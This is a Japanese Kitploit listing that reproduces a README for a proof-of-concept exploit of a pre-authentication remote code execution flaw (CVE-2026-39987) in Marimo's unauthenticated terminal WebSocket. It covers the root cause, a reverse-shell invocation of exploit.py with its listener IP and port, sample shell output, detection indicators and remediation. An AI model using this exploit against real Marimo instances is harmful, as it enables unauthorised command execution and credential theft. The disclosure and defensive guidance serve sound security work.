Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-39987 — Marimoの事前認証RCEに対する概念実証エクスプロイト。未認証の/terminal/ws WebSocketエンドポイントを利用してPTYを起動し、リバースシェルを確立します。 | Kitploit
ツール/GitHubGitHub/k3ystr0k3r/cve-2026-39987
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミング
GitHubk3ystr0k3r/cve-2026-39987

CVE-2026-39987

Marimoの事前認証RCEに対する概念実証エクスプロイト。未認証の/terminal/ws WebSocketエンドポイントを利用してPTYを起動し、リバースシェルを確立します。

リポジトリを見る
1日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-39987 — Marimo 事前認証リモートコード実行 (RCE)

CVE CVSS CWE Marimo

CVE-2026-39987 は、リアクティブな Python ノートブック環境である Marimo に影響を及ぼす、重大な事前認証リモートコード実行 (RCE) の脆弱性です。

この脆弱性は、Marimo のターミナル WebSocket エンドポイントに存在します:

root@kitploit:~
/terminal/ws

このエンドポイントは、ターミナルセッションを作成する前に認証を適切に強制していませんでした。その結果、脆弱な Marimo インスタンスに到達可能な未認証のリモート攻撃者が WebSocket 接続を確立し、対話型 PTY シェルを取得できます。

有効な認証情報は不要です。


脆弱性の概要

PropertyValue
CVECVE-2026-39987
ProductMarimo
Vulnerability事前認証リモートコード実行
Attack Vectorネットワーク
Authentication不要
User Interaction不要
CWECWE-306 — 重要な機能に対する認証の欠如
Severity重大
Fixed Version0.23.0

この脆弱性は、Marimo の WebSocket エンドポイント間における認証強制の不整合によって引き起こされました。

他の WebSocket 機能が認証検証を実行する一方で、脆弱な /terminal/ws エンドポイントは、呼び出し元を事前に検証することなく接続を受け入れる可能性がありました。


根本原因

脆弱なターミナルエンドポイントは、WebSocket 接続を受け入れた後に対話型 PTY を作成します。

概念的には、脆弱なリクエストフローは次のとおりです:

root@kitploit:~
Remote Client
     |
     | WebSocket connection
     v
/terminal/ws
     |
     | Missing authentication validation
     v
WebSocket accepted
     |
     v
PTY created
     |
     v
Interactive shell

重要なセキュリティ上の境界は、認証チェックが欠如していることです。

任意のコマンド実行を公開するエンドポイントは、未認証のクライアントが PTY 作成ロジックに到達することを許可してはなりません。


影響

悪用に成功すると、Marimo プロセスの権限で任意のコマンドを実行できるようになります。

デプロイ構成によっては、攻撃者が以下を行う可能性があります:

  • 任意のオペレーティングシステムコマンドを実行する。
  • アプリケーションファイルを読み取る。
  • 環境変数にアクセスする。
  • Marimo プロセスが利用可能な認証情報にアクセスする。
  • コンテナにマウントされたファイルにアクセスする。
  • 内部環境へさらに横展開(ピボット)する。
  • 過剰な権限が利用可能な場合に、基盤となるホストまたはコンテナを侵害する。

この影響は、ノートブック環境が一般的にデータセット、API、認証情報、クラウドリソース、開発インフラストラクチャにアクセスできるため、特に重大です。


概念実証

警告: PoC は、所有しているシステム、または明示的にテストを許可されたシステムに対してのみ実行してください。

このリポジトリには、管理された環境で脆弱性を示すための PoC が含まれています。

以下の例は、ローカル/ラボインスタンスに対する悪用を示しています。

脆弱なターゲットを起動する

例:

root@kitploit:~
http://127.0.0.1:8081

PoC を起動する前に、脆弱な Marimo インスタンスが実行されている必要があります。


PoC を起動する

例:

root@kitploit:~
python3 exploit.py \
    -u http://127.0.0.1:8081 \
    --host 192.168.101.130 \
    --port 5555

引数の説明:

root@kitploit:~
-u       Target Marimo instance
--host   Listener IP
--port   Listener port

PoC は脆弱なターミナル接続を確立し、結果として得られるシェル接続を待機します。

出力例:

root@kitploit:~
[!] Coded By: K3ysTr0K3R
[!] CVE-2026-39987 - Marimo Pre-Auth RCE
[*] Listening on 192.168.101.130:5555 (timeout 15s)
[*] _build_ws_url invoked
[*] deliver_and_hold invoked
[*] Sending payload: python3 -c ...
[*] Waiting for reverse shell... (Ctrl+C to abort)
[+] Connection from 192.168.160.3:32882

シェルによる実証

悪用に成功すると、攻撃者は Marimo プロセスの権限で実行されるシェルを取得します。

現在のユーザーを確認する

root@kitploit:~
whoami

例:

root@kitploit:~
marimo

プロセスの ID を確認する

root@kitploit:~
id

例:

root@kitploit:~
uid=10001(marimo) gid=10001(marimo) groups=10001(marimo)

これは、marimo アカウントとして任意のコマンドがリモートで実行されていることを示しています。


ファイルシステムでの実証

PoC は、侵害されたプロセスが利用可能なファイルシステムへのアクセスも実証できます。

root@kitploit:~
ls -la

例:

root@kitploit:~
total 4
-rw-r--r-- 1 marimo marimo 216 Aug 19 17:23 notebook.py

ファイルシステムのルートに移動:

root@kitploit:~
cd /
ls

例:

root@kitploit:~
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
workspace

これにより、リモートシェルが Marimo プロセスの権限とコンテナの制限に従った通常のファイルシステムアクセスを有していることが確認されます。


悪用チェーン

完全な脆弱性チェーンは次のように要約できます:

root@kitploit:~
1. Attacker discovers exposed Marimo instance
                |
                v
2. Attacker connects to /terminal/ws
                |
                v
3. Authentication is not enforced
                |
                v
4. WebSocket connection is accepted
                |
                v
5. PTY terminal is created
                |
                v
6. Attacker obtains command execution
                |
                v
7. Commands execute as the Marimo process

重大なセキュリティ上の失敗はステップ 3 で発生します。


検出

悪用の可能性を示す指標には、以下への予期しない WebSocket 接続が含まれます:

root@kitploit:~
/terminal/ws

および、Marimo サーバーを起点とする異常なプロセスアクティビティです。

防御側は以下を調査すべきです:

  • ターミナル WebSocket エンドポイントへの予期しない接続。
  • Marimo によって生成された予期しないシェルプロセス。
  • 不審な子プロセス。
  • 予期しない外部への接続。
  • 機密性の高い環境変数へのアクセス。
  • 予期しないファイルシステムアクティビティ。
  • Marimo プロセスによって実行された不明なコマンド。

修復策

Marimo を修正済みリリースにアップグレードします:

root@kitploit:~
0.23.0 or later

さらに:

  • 必要でない限り、Marimo を公開インターネットに直接公開しないでください。
  • ノートブックサービスを認証付きリバースプロキシの背後に配置してください。
  • 信頼できるユーザーとネットワークのみにネットワークアクセスを制限してください。
  • Marimo を必要最小限の権限で実行してください。
  • 機密性の高いホストディレクトリをコンテナにマウントしないでください。
  • 侵害されたインスタンスからアクセスされた可能性のある認証情報をローテーションしてください。
  • 不審な /terminal/ws アクティビティがないかログを確認してください。
  • パッチ適用だけで攻撃者の永続化が除去されるとは想定せず、侵害された可能性のあるインスタンスを調査してください。

セキュリティ分類

root@kitploit:~
CVE:        CVE-2026-39987
CWE:        CWE-306
Severity:   Critical
Type:       Pre-Authentication RCE
Protocol:   WebSocket
Endpoint:   /terminal/ws
Auth:       None required
Fixed:      0.23.0

参考情報

  • NVD — CVE-2026-39987
  • GitHub セキュリティアドバイザリ — GHSA-2679-6mx9-h9xc
  • Marimo セキュリティアドバイザリおよびパッチ
  • CISA 既知の悪用された脆弱性カタログ

免責事項

このプロジェクトは、セキュリティ研究、脆弱性検証、教育目的のために提供されています。 所有していないシステム、または明示的なテスト許可を得ていないシステムに対して PoC を使用しないでください。

ツールをダウンロード